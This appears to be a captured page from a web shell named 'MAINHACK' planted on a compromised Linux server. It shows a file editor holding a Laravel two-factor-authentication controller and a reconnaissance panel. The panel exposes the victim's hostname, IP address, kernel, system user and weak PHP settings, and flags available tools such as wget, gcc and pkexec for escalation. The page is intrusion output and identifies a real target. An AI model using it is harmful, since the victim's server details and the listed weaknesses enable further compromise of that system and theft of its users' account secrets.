[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: GoogleAuthenticationController.php
<?php namespace App\Http\Controllers; use App\Models\User; use App\Models\UserWorkspace; use App\Models\Utility; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Hash; class GoogleAuthenticationController extends Controller { // public function __construct() { $this->middleware('auth'); } public function generate2faSecret(Request $request) { if (Auth::check()) { $user = Auth::user(); $hasPermission = Auth::guard('web')->check() && (Auth::user()->type == 'admin' || UserWorkspace::where('permission', 'Owner')->where('user_id', Auth::user()->id)->first()); $google2fa = new \PragmaRX\Google2FAQRCode\Google2FA(); if (!$user->google2fa_secret) { $user->google2fa_secret = $google2fa->generateSecretKey(); $user->google2fa_enable = 0; $user->save(); } $google2fa = new \PragmaRX\Google2FAQRCode\Google2FA(); $google2fa_url = $google2fa->getQRCodeInline( config('app.name'), $user->email, $user->google2fa_secret ); $secret_key = $user->google2fa_secret; $data = [ 'user' => $user ?? '', 'secret' => $secret_key, 'google2fa_url' => $google2fa_url, 'hasPermission' => $hasPermission ]; if ($user->type == 'admin') { $currentWorkspace = ''; } else { $currentWorkspace = Utility::getWorkspaceBySlug(''); } return redirect()->route('users.my.account')->with('success', __('Secret key is generated.')); } return redirect()->route('login')->with('error', __('Please log in to generate a 2FA secret.')); } /** * Enable 2FA */ public function enable2fa(Request $request) { $user = User::find(Auth::user()->id); $google2fa = (new \PragmaRX\Google2FAQRCode\Google2FA()); $secret = $request->input('secret'); $valid = $google2fa->verifyKey($user->google2fa_secret, $secret); if ($valid) { $user->google2fa_enable = 1; $user->save(); return redirect()->route('users.my.account')->with('success', __('2FA is enabled successfully.')); } else { return redirect()->route('users.my.account')->with('error', __('Invalid verification Code, Please try again.')); } } /** * Disable 2FA */ public function disable2fa(Request $request) { $validatedData = $request->validate([ 'current-password' => 'required', ]); if (!(Hash::check($request->get('current-password'), Auth::user()->password))) { return redirect()->route('users.my.account')->with('error', __('Your password does not matches with your account password.')); } $user = User::find(Auth::user()->id); $user->google2fa_enable = 0; $user->google2fa_secret = null; $user->save(); return redirect()->route('users.my.account')->with('success', __('2FA is disabled.')); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002